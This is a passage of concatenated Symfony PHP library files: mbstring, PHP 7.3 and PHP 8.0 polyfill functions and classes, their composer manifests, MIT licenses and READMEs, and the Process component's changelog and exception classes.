p\Mbstring::mb_strtoupper($string, $encoding); } } if (!function_exists('mb_substitute_character')) { function mb_substitute_character($substitute_character = null) { return p\Mbstring::mb_substitute_character($substitute_character); } } if (!function_exists('mb_substr')) { function mb_substr($string, $start, $length = 2147483647, $encoding = null) { return p\Mbstring::mb_substr($string, $start, $length, $encoding); } } if (!function_exists('mb_stripos')) { function mb_stripos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_stripos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_stristr')) { function mb_stristr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_stristr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_strrchr')) { function mb_strrchr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strrchr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_strrichr')) { function mb_strrichr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strrichr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_strripos')) { function mb_strripos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strripos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_strrpos')) { function mb_strrpos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strrpos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_strstr')) { function mb_strstr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strstr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_get_info')) { function mb_get_info($type = 'all') { return p\Mbstring::mb_get_info($type); } } if (!function_exists('mb_http_output')) { function mb_http_output($encoding = null) { return p\Mbstring::mb_http_output($encoding); } } if (!function_exists('mb_strwidth')) { function mb_strwidth($string, $encoding = null) { return p\Mbstring::mb_strwidth($string, $encoding); } } if (!function_exists('mb_substr_count')) { function mb_substr_count($haystack, $needle, $encoding = null) { return p\Mbstring::mb_substr_count($haystack, $needle, $encoding); } } if (!function_exists('mb_output_handler')) { function mb_output_handler($string, $status) { return p\Mbstring::mb_output_handler($string, $status); } } if (!function_exists('mb_http_input')) { function mb_http_input($type = null) { return p\Mbstring::mb_http_input($type); } } if (!function_exists('mb_convert_variables')) { function mb_convert_variables($to_encoding, $from_encoding, &...$vars) { return p\Mbstring::mb_convert_variables($to_encoding, $from_encoding, ...$vars); } } if (!function_exists('mb_ord')) { function mb_ord($string, $encoding = null) { return p\Mbstring::mb_ord($string, $encoding); } } if (!function_exists('mb_chr')) { function mb_chr($codepoint, $encoding = null) { return p\Mbstring::mb_chr($codepoint, $encoding); } } if (!function_exists('mb_scrub')) { function mb_scrub($string, $encoding = null) { $encoding = null === $encoding ? mb_internal_encoding() : $encoding; return mb_convert_encoding($string, $encoding, $encoding); } } if (!function_exists('mb_str_split')) { function mb_str_split($string, $length = 1, $encoding = null) { return p\Mbstring::mb_str_split($string, $length, $encoding); } } if (!function_exists('mb_str_pad')) { function mb_str_pad(string $string, int $length, string $pad_string = ' ', int $pad_type = STR_PAD_RIGHT, ?string $encoding = null): string { return p\Mbstring::mb_str_pad($string, $length, $pad_string, $pad_type, $encoding); } } if (!function_exists('mb_ucfirst')) { function mb_ucfirst(string $string, ?string $encoding = null): string { return p\Mbstring::mb_ucfirst($string, $encoding); } } if (!function_exists('mb_lcfirst')) { function mb_lcfirst(string $string, ?string $encoding = null): string { return p\Mbstring::mb_lcfirst($string, $encoding); } } if (!function_exists('mb_trim')) { function mb_trim(string $string, ?string $characters = null, ?string $encoding = null): string { return p\Mbstring::mb_trim($string, $characters, $encoding); } } if (!function_exists('mb_ltrim')) { function mb_ltrim(string $string, ?string $characters = null, ?string $encoding = null): string { return p\Mbstring::mb_ltrim($string, $characters, $encoding); } } if (!function_exists('mb_rtrim')) { function mb_rtrim(string $string, ?string $characters = null, ?string $encoding = null): string { return p\Mbstring::mb_rtrim($string, $characters, $encoding); } } if (extension_loaded('mbstring')) { return; } if (!defined('MB_CASE_UPPER')) { define('MB_CASE_UPPER', 0); } if (!defined('MB_CASE_LOWER')) { define('MB_CASE_LOWER', 1); } if (!defined('MB_CASE_TITLE')) { define('MB_CASE_TITLE', 2); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Mbstring as p; if (!function_exists('mb_convert_encoding')) { function mb_convert_encoding(array|string|null $string, ?string $to_encoding, array|string|null $from_encoding = null): array|string|false { return p\Mbstring::mb_convert_encoding($string ?? '', (string) $to_encoding, $from_encoding); } } if (!function_exists('mb_decode_mimeheader')) { function mb_decode_mimeheader(?string $string): string { return p\Mbstring::mb_decode_mimeheader((string) $string); } } if (!function_exists('mb_encode_mimeheader')) { function mb_encode_mimeheader(?string $string, ?string $charset = null, ?string $transfer_encoding = null, ?string $newline = "\r\n", ?int $indent = 0): string { return p\Mbstring::mb_encode_mimeheader((string) $string, $charset, $transfer_encoding, (string) $newline, (int) $indent); } } if (!function_exists('mb_decode_numericentity')) { function mb_decode_numericentity(?string $string, array $map, ?string $encoding = null): string { return p\Mbstring::mb_decode_numericentity((string) $string, $map, $encoding); } } if (!function_exists('mb_encode_numericentity')) { function mb_encode_numericentity(?string $string, array $map, ?string $encoding = null, ?bool $hex = false): string { return p\Mbstring::mb_encode_numericentity((string) $string, $map, $encoding, (bool) $hex); } } if (!function_exists('mb_convert_case')) { function mb_convert_case(?string $string, ?int $mode, ?string $encoding = null): string { return p\Mbstring::mb_convert_case((string) $string, (int) $mode, $encoding); } } if (!function_exists('mb_internal_encoding')) { function mb_internal_encoding(?string $encoding = null): string|bool { return p\Mbstring::mb_internal_encoding($encoding); } } if (!function_exists('mb_language')) { function mb_language(?string $language = null): string|bool { return p\Mbstring::mb_language($language); } } if (!function_exists('mb_list_encodings')) { function mb_list_encodings(): array { return p\Mbstring::mb_list_encodings(); } } if (!function_exists('mb_encoding_aliases')) { function mb_encoding_aliases(?string $encoding): array { return p\Mbstring::mb_encoding_aliases((string) $encoding); } } if (!function_exists('mb_check_encoding')) { function mb_check_encoding(array|string|null $value = null, ?string $encoding = null): bool { return p\Mbstring::mb_check_encoding($value, $encoding); } } if (!function_exists('mb_detect_encoding')) { function mb_detect_encoding(?string $string, array|string|null $encodings = null, ?bool $strict = false): string|false { return p\Mbstring::mb_detect_encoding((string) $string, $encodings, (bool) $strict); } } if (!function_exists('mb_detect_order')) { function mb_detect_order(array|string|null $encoding = null): array|bool { return p\Mbstring::mb_detect_order($encoding); } } if (!function_exists('mb_parse_str')) { function mb_parse_str(?string $string, &$result = []): bool { parse_str((string) $string, $result); return (bool) $result; } } if (!function_exists('mb_strlen')) { function mb_strlen(?string $string, ?string $encoding = null): int { return p\Mbstring::mb_strlen((string) $string, $encoding); } } if (!function_exists('mb_strpos')) { function mb_strpos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strpos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strtolower')) { function mb_strtolower(?string $string, ?string $encoding = null): string { return p\Mbstring::mb_strtolower((string) $string, $encoding); } } if (!function_exists('mb_strtoupper')) { function mb_strtoupper(?string $string, ?string $encoding = null): string { return p\Mbstring::mb_strtoupper((string) $string, $encoding); } } if (!function_exists('mb_substitute_character')) { function mb_substitute_character(string|int|null $substitute_character = null): string|int|bool { return p\Mbstring::mb_substitute_character($substitute_character); } } if (!function_exists('mb_substr')) { function mb_substr(?string $string, ?int $start, ?int $length = null, ?string $encoding = null): string { return p\Mbstring::mb_substr((string) $string, (int) $start, $length, $encoding); } } if (!function_exists('mb_stripos')) { function mb_stripos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_stripos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_stristr')) { function mb_stristr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_stristr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strrchr')) { function mb_strrchr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strrchr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strrichr')) { function mb_strrichr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strrichr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_strripos')) { function mb_strripos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strripos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strrpos')) { function mb_strrpos(?string $haystack, ?string $needle, ?int $offset = 0, ?string $encoding = null): int|false { return p\Mbstring::mb_strrpos((string) $haystack, (string) $needle, (int) $offset, $encoding); } } if (!function_exists('mb_strstr')) { function mb_strstr(?string $haystack, ?string $needle, ?bool $before_needle = false, ?string $encoding = null): string|false { return p\Mbstring::mb_strstr((string) $haystack, (string) $needle, (bool) $before_needle, $encoding); } } if (!function_exists('mb_get_info')) { function mb_get_info(?string $type = 'all'): array|string|int|false|null { return p\Mbstring::mb_get_info((string) $type); } } if (!function_exists('mb_http_output')) { function mb_http_output(?string $encoding = null): string|bool { return p\Mbstring::mb_http_output($encoding); } } if (!function_exists('mb_strwidth')) { function mb_strwidth(?string $string, ?string $encoding = null): int { return p\Mbstring::mb_strwidth((string) $string, $encoding); } } if (!function_exists('mb_substr_count')) { function mb_substr_count(?string $haystack, ?string $needle, ?string $encoding = null): int { return p\Mbstring::mb_substr_count((string) $haystack, (string) $needle, $encoding); } } if (!function_exists('mb_output_handler')) { function mb_output_handler(?string $string, ?int $status): string { return p\Mbstring::mb_output_handler((string) $string, (int) $status); } } if (!function_exists('mb_http_input')) { function mb_http_input(?string $type = null): array|string|false { return p\Mbstring::mb_http_input($type); } } if (!function_exists('mb_convert_variables')) { function mb_convert_variables(?string $to_encoding, array|string|null $from_encoding, mixed &$var, mixed &...$vars): string|false { return p\Mbstring::mb_convert_variables((string) $to_encoding, $from_encoding ?? '', $var, ...$vars); } } if (!function_exists('mb_ord')) { function mb_ord(?string $string, ?string $encoding = null): int|false { return p\Mbstring::mb_ord((string) $string, $encoding); } } if (!function_exists('mb_chr')) { function mb_chr(?int $codepoint, ?string $encoding = null): string|false { return p\Mbstring::mb_chr((int) $codepoint, $encoding); } } if (!function_exists('mb_scrub')) { function mb_scrub(?string $string, ?string $encoding = null): string { $encoding ??= mb_internal_encoding(); return mb_convert_encoding((string) $string, $encoding, $encoding); } } if (!function_exists('mb_str_split')) { function mb_str_split(?string $string, ?int $length = 1, ?string $encoding = null): array { return p\Mbstring::mb_str_split((string) $string, (int) $length, $encoding); } } if (!function_exists('mb_str_pad')) { function mb_str_pad(string $string, int $length, string $pad_string = ' ', int $pad_type = STR_PAD_RIGHT, ?string $encoding = null): string { return p\Mbstring::mb_str_pad($string, $length, $pad_string, $pad_type, $encoding); } } if (!function_exists('mb_ucfirst')) { function mb_ucfirst(string $string, ?string $encoding = null): string { return p\Mbstring::mb_ucfirst($string, $encoding); } } if (!function_exists('mb_lcfirst')) { function mb_lcfirst(string $string, ?string $encoding = null): string { return p\Mbstring::mb_lcfirst($string, $encoding); } } if (!function_exists('mb_trim')) { function mb_trim(string $string, ?string $characters = null, ?string $encoding = null): string { return p\Mbstring::mb_trim($string, $characters, $encoding); } } if (!function_exists('mb_ltrim')) { function mb_ltrim(string $string, ?string $characters = null, ?string $encoding = null): string { return p\Mbstring::mb_ltrim($string, $characters, $encoding); } } if (!function_exists('mb_rtrim')) { function mb_rtrim(string $string, ?string $characters = null, ?string $encoding = null): string { return p\Mbstring::mb_rtrim($string, $characters, $encoding); } } if (extension_loaded('mbstring')) { return; } if (!defined('MB_CASE_UPPER')) { define('MB_CASE_UPPER', 0); } if (!defined('MB_CASE_LOWER')) { define('MB_CASE_LOWER', 1); } if (!defined('MB_CASE_TITLE')) { define('MB_CASE_TITLE', 2); } { "name": "symfony/polyfill-mbstring", "type": "library", "description": "Symfony polyfill for the Mbstring extension", "keywords": ["polyfill", "shim", "compatibility", "portable", "mbstring"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.2", "ext-iconv": "*" }, "provide": { "ext-mbstring": "*" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Mbstring\\": "" }, "files": [ "bootstrap.php" ] }, "suggest": { "ext-mbstring": "For best performance" }, "minimum-stability": "dev", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } Copyright (c) 2018-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Php73; /** * @author Gabriel Caruso * @author Ion Bazan * * @internal */ final class Php73 { public static $startAt = 1533462603; /** * @param bool $asNum * * @return array|float|int */ public static function hrtime($asNum = false) { $ns = microtime(false); $s = substr($ns, 11) - self::$startAt; $ns = 1E9 * (float) $ns; if ($asNum) { $ns += $s * 1E9; return \PHP_INT_SIZE === 4 ? $ns : (int) $ns; } return [$s, (int) $ns]; } } Symfony Polyfill / Php73 ======================== This component provides functions added to PHP 7.3 core: - [`array_key_first`](https://php.net/array_key_first) - [`array_key_last`](https://php.net/array_key_last) - [`hrtime`](https://php.net/function.hrtime) - [`is_countable`](https://php.net/is_countable) - [`JsonException`](https://php.net/JsonException) More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE). * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 70300) { class JsonException extends Exception { } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Php73 as p; if (\PHP_VERSION_ID >= 70300) { return; } if (!function_exists('is_countable')) { function is_countable($value) { return is_array($value) || $value instanceof Countable || $value instanceof ResourceBundle || $value instanceof SimpleXmlElement; } } if (!function_exists('hrtime')) { require_once __DIR__.'/Php73.php'; p\Php73::$startAt = (int) microtime(true); function hrtime($as_number = false) { return p\Php73::hrtime($as_number); } } if (!function_exists('array_key_first')) { function array_key_first(array $array) { foreach ($array as $key => $value) { return $key; } } } if (!function_exists('array_key_last')) { function array_key_last(array $array) { return key(array_slice($array, -1, 1, true)); } } { "name": "symfony/polyfill-php73", "type": "library", "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions", "keywords": ["polyfill", "shim", "compatibility", "portable"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.2" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Php73\\": "" }, "files": [ "bootstrap.php" ], "classmap": [ "Resources/stubs" ] }, "minimum-stability": "dev", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } Copyright (c) 2020-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Php80; /** * @author Ion Bazan * @author Nico Oelgart * @author Nicolas Grekas * * @internal */ final class Php80 { public static function fdiv(float $dividend, float $divisor): float { return @($dividend / $divisor); } public static function get_debug_type($value): string { switch (true) { case null === $value: return 'null'; case \is_bool($value): return 'bool'; case \is_string($value): return 'string'; case \is_array($value): return 'array'; case \is_int($value): return 'int'; case \is_float($value): return 'float'; case \is_object($value): break; case $value instanceof \__PHP_Incomplete_Class: return '__PHP_Incomplete_Class'; default: if (null === $type = @get_resource_type($value)) { return 'unknown'; } if ('Unknown' === $type) { $type = 'closed'; } return "resource ($type)"; } $class = \get_class($value); if (false === strpos($class, '@')) { return $class; } return (get_parent_class($class) ?: key(class_implements($class)) ?: 'class').'@anonymous'; } public static function get_resource_id($res): int { if (!\is_resource($res) && null === @get_resource_type($res)) { throw new \TypeError(sprintf('Argument 1 passed to get_resource_id() must be of the type resource, %s given', get_debug_type($res))); } return (int) $res; } public static function preg_last_error_msg(): string { switch (preg_last_error()) { case \PREG_INTERNAL_ERROR: return 'Internal error'; case \PREG_BAD_UTF8_ERROR: return 'Malformed UTF-8 characters, possibly incorrectly encoded'; case \PREG_BAD_UTF8_OFFSET_ERROR: return 'The offset did not correspond to the beginning of a valid UTF-8 code point'; case \PREG_BACKTRACK_LIMIT_ERROR: return 'Backtrack limit exhausted'; case \PREG_RECURSION_LIMIT_ERROR: return 'Recursion limit exhausted'; case \PREG_JIT_STACKLIMIT_ERROR: return 'JIT stack limit exhausted'; case \PREG_NO_ERROR: return 'No error'; default: return 'Unknown error'; } } public static function str_contains(string $haystack, string $needle): bool { return '' === $needle || false !== strpos($haystack, $needle); } public static function str_starts_with(string $haystack, string $needle): bool { return 0 === strncmp($haystack, $needle, \strlen($needle)); } public static function str_ends_with(string $haystack, string $needle): bool { if ('' === $needle || $needle === $haystack) { return true; } if ('' === $haystack) { return false; } $needleLength = \strlen($needle); return $needleLength <= \strlen($haystack) && 0 === substr_compare($haystack, $needle, -$needleLength); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Php80; /** * @author Fedonyuk Anton * * @internal */ class PhpToken implements \Stringable { /** * @var int */ public $id; /** * @var string */ public $text; /** * @var -1|positive-int */ public $line; /** * @var int */ public $pos; /** * @param -1|positive-int $line */ public function __construct(int $id, string $text, int $line = -1, int $position = -1) { $this->id = $id; $this->text = $text; $this->line = $line; $this->pos = $position; } public function getTokenName(): ?string { if ('UNKNOWN' === $name = token_name($this->id)) { $name = \strlen($this->text) > 1 || \ord($this->text) < 32 ? null : $this->text; } return $name; } /** * @param int|string|array $kind */ public function is($kind): bool { foreach ((array) $kind as $value) { if (\in_array($value, [$this->id, $this->text], true)) { return true; } } return false; } public function isIgnorable(): bool { return \in_array($this->id, [\T_WHITESPACE, \T_COMMENT, \T_DOC_COMMENT, \T_OPEN_TAG], true); } public function __toString(): string { return (string) $this->text; } /** * @return list */ public static function tokenize(string $code, int $flags = 0): array { $line = 1; $position = 0; $tokens = token_get_all($code, $flags); foreach ($tokens as $index => $token) { if (\is_string($token)) { $id = \ord($token); $text = $token; } else { [$id, $text, $line] = $token; } $tokens[$index] = new static($id, $text, $line, $position); $position += \strlen($text); } return $tokens; } } Symfony Polyfill / Php80 ======================== This component provides features added to PHP 8.0 core: - [`Stringable`](https://php.net/stringable) interface - [`fdiv`](https://php.net/fdiv) - [`ValueError`](https://php.net/valueerror) class - [`UnhandledMatchError`](https://php.net/unhandledmatcherror) class - `FILTER_VALIDATE_BOOL` constant - [`get_debug_type`](https://php.net/get_debug_type) - [`PhpToken`](https://php.net/phptoken) class - [`preg_last_error_msg`](https://php.net/preg_last_error_msg) - [`str_contains`](https://php.net/str_contains) - [`str_starts_with`](https://php.net/str_starts_with) - [`str_ends_with`](https://php.net/str_ends_with) - [`get_resource_id`](https://php.net/get_resource_id) More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE). * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ #[Attribute(Attribute::TARGET_CLASS)] final class Attribute { public const TARGET_CLASS = 1; public const TARGET_FUNCTION = 2; public const TARGET_METHOD = 4; public const TARGET_PROPERTY = 8; public const TARGET_CLASS_CONSTANT = 16; public const TARGET_PARAMETER = 32; public const TARGET_ALL = 63; public const IS_REPEATABLE = 64; /** @var int */ public $flags; public function __construct(int $flags = self::TARGET_ALL) { $this->flags = $flags; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000 && extension_loaded('tokenizer')) { class PhpToken extends Symfony\Polyfill\Php80\PhpToken { } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000) { interface Stringable { /** * @return string */ public function __toString(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000) { class UnhandledMatchError extends Error { } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (\PHP_VERSION_ID < 80000) { class ValueError extends Error { } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Php80 as p; if (\PHP_VERSION_ID >= 80000) { return; } if (!defined('FILTER_VALIDATE_BOOL') && defined('FILTER_VALIDATE_BOOLEAN')) { define('FILTER_VALIDATE_BOOL', \FILTER_VALIDATE_BOOLEAN); } if (!function_exists('fdiv')) { function fdiv(float $num1, float $num2): float { return p\Php80::fdiv($num1, $num2); } } if (!function_exists('preg_last_error_msg')) { function preg_last_error_msg(): string { return p\Php80::preg_last_error_msg(); } } if (!function_exists('str_contains')) { function str_contains(?string $haystack, ?string $needle): bool { return p\Php80::str_contains($haystack ?? '', $needle ?? ''); } } if (!function_exists('str_starts_with')) { function str_starts_with(?string $haystack, ?string $needle): bool { return p\Php80::str_starts_with($haystack ?? '', $needle ?? ''); } } if (!function_exists('str_ends_with')) { function str_ends_with(?string $haystack, ?string $needle): bool { return p\Php80::str_ends_with($haystack ?? '', $needle ?? ''); } } if (!function_exists('get_debug_type')) { function get_debug_type($value): string { return p\Php80::get_debug_type($value); } } if (!function_exists('get_resource_id')) { function get_resource_id($resource): int { return p\Php80::get_resource_id($resource); } } { "name": "symfony/polyfill-php80", "type": "library", "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", "keywords": ["polyfill", "shim", "compatibility", "portable"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Ion Bazan", "email": "ion.bazan@gmail.com" }, { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.2" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Php80\\": "" }, "files": [ "bootstrap.php" ], "classmap": [ "Resources/stubs" ] }, "minimum-stability": "dev", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } CHANGELOG ========= 6.4 --- * Add `PhpSubprocess` to handle PHP subprocesses that take over the configuration from their parent * Add `RunProcessMessage` and `RunProcessMessageHandler` 5.2.0 ----- * added `Process::setOptions()` to set `Process` specific options * added option `create_new_console` to allow a subprocess to continue to run after the main script exited, both on Linux and on Windows 5.1.0 ----- * added `Process::getStartTime()` to retrieve the start time of the process as float 5.0.0 ----- * removed `Process::inheritEnvironmentVariables()` * removed `PhpProcess::setPhpBinary()` * `Process` must be instantiated with a command array, use `Process::fromShellCommandline()` when the command should be parsed by the shell * removed `Process::setCommandLine()` 4.4.0 ----- * deprecated `Process::inheritEnvironmentVariables()`: env variables are always inherited. * added `Process::getLastOutputTime()` method 4.2.0 ----- * added the `Process::fromShellCommandline()` to run commands in a shell wrapper * deprecated passing a command as string when creating a `Process` instance * deprecated the `Process::setCommandline()` and the `PhpProcess::setPhpBinary()` methods * added the `Process::waitUntil()` method to wait for the process only for a specific output, then continue the normal execution of your application 4.1.0 ----- * added the `Process::isTtySupported()` method that allows to check for TTY support * made `PhpExecutableFinder` look for the `PHP_BINARY` env var when searching the php binary * added the `ProcessSignaledException` class to properly catch signaled process errors 4.0.0 ----- * environment variables will always be inherited * added a second `array $env = []` argument to the `start()`, `run()`, `mustRun()`, and `restart()` methods of the `Process` class * added a second `array $env = []` argument to the `start()` method of the `PhpProcess` class * the `ProcessUtils::escapeArgument()` method has been removed * the `areEnvironmentVariablesInherited()`, `getOptions()`, and `setOptions()` methods of the `Process` class have been removed * support for passing `proc_open()` options has been removed * removed the `ProcessBuilder` class, use the `Process` class instead * removed the `getEnhanceWindowsCompatibility()` and `setEnhanceWindowsCompatibility()` methods of the `Process` class * passing a not existing working directory to the constructor of the `Symfony\Component\Process\Process` class is not supported anymore 3.4.0 ----- * deprecated the ProcessBuilder class * deprecated calling `Process::start()` without setting a valid working directory beforehand (via `setWorkingDirectory()` or constructor) 3.3.0 ----- * added command line arrays in the `Process` class * added `$env` argument to `Process::start()`, `run()`, `mustRun()` and `restart()` methods * deprecated the `ProcessUtils::escapeArgument()` method * deprecated not inheriting environment variables * deprecated configuring `proc_open()` options * deprecated configuring enhanced Windows compatibility * deprecated configuring enhanced sigchild compatibility 2.5.0 ----- * added support for PTY mode * added the convenience method "mustRun" * deprecation: Process::setStdin() is deprecated in favor of Process::setInput() * deprecation: Process::getStdin() is deprecated in favor of Process::getInput() * deprecation: Process::setInput() and ProcessBuilder::setInput() do not accept non-scalar types 2.4.0 ----- * added the ability to define an idle timeout 2.3.0 ----- * added ProcessUtils::escapeArgument() to fix the bug in escapeshellarg() function on Windows * added Process::signal() * added Process::getPid() * added support for a TTY mode 2.2.0 ----- * added ProcessBuilder::setArguments() to reset the arguments on a builder * added a way to retrieve the standard and error output incrementally * added Process:restart() 2.1.0 ----- * added support for non-blocking processes (start(), wait(), isRunning(), stop()) * enhanced Windows compatibility * added Process::getExitCodeText() that returns a string representation for the exit code returned by the process * added ProcessBuilder * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Exception; /** * Marker Interface for the Process Component. * * @author Johannes M. Schmitt */ interface ExceptionInterface extends \Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Exception; /** * InvalidArgumentException for the Process Component. * * @author Romain Neutron */ class InvalidArgumentException extends \InvalidArgumentException implements ExceptionInterface { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Exception; /** * LogicException for the Process Component. * * @author Romain Neutron */ class LogicException extends \LogicException implements ExceptionInterface { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Exception; use Symfony\Component\Process\Process; /** * Exception for failed processes. * * @author Johannes M. Schmitt */ class ProcessFailedException extends RuntimeException { private Process $process; public function __construct(Process $process) { if ($process->isSuccessful()) { throw new InvalidArgumentException('Expected a failed process, but the given process was successful.'); } $error = \sprintf('The command "%s" failed.'."\n\nExit Code: %s(%s)\n\nWorking directory: %s", $process->getCommandLine(), $process->getExitCode(), $process->getExitCodeText(), $process->getWorkingDirectory() ); if (!$process->isOutputDisabled()) { $error .= \sprintf("\n\nOutput:\n================\n%s\n\nError Output:\n================\n%s", $process->getOutput(), $process->getErrorOutput() ); } parent::__construct($error); $this->process = $process; } /** * @return Process */ public function getProcess() { return $this->process; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Exception; use Symfony\Component\Process\Process; /** * Exception that is thrown when a process has been signaled. * * @author Sullivan Senechal */ final class ProcessSignaledException extends RuntimeException { private Process $process; public function __construct(Process $process) { $this->process = $process; parent::__construct(\sprintf('The process has been signaled with signal "%s".', $process->getTermSignal())); } public function getProcess(): Process { return $this->process; } public function getSignal(): int { return $this->getProcess()->getTermSignal(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Process\Exception; use Symfony\Component\Process\Process; /** * Exception that is thrown when a process times out. * * @author Johannes M. Schmitt */ class ProcessTimedOutException extends RuntimeException { public const TYPE_GENERAL = 1; public const TYPE_IDLE = 2; private Process $process; private int $timeoutType; public function __construct(Process $process, int $timeoutType) { $this->process = $process; $this->timeoutType = $timeoutType; parent::__construct(\sprintf( 'The process "%s" exceeded the timeout of %s seconds.', $process->getCommandLine(), $this->getExceededTimeout() )); } /** * @return Process */ public function getProcess() { return $this->process; } /** * @return bool */ public function isGeneralTimeout() { return self::TYPE_GENERAL === $this->timeoutType; } /** * @return bool */ public 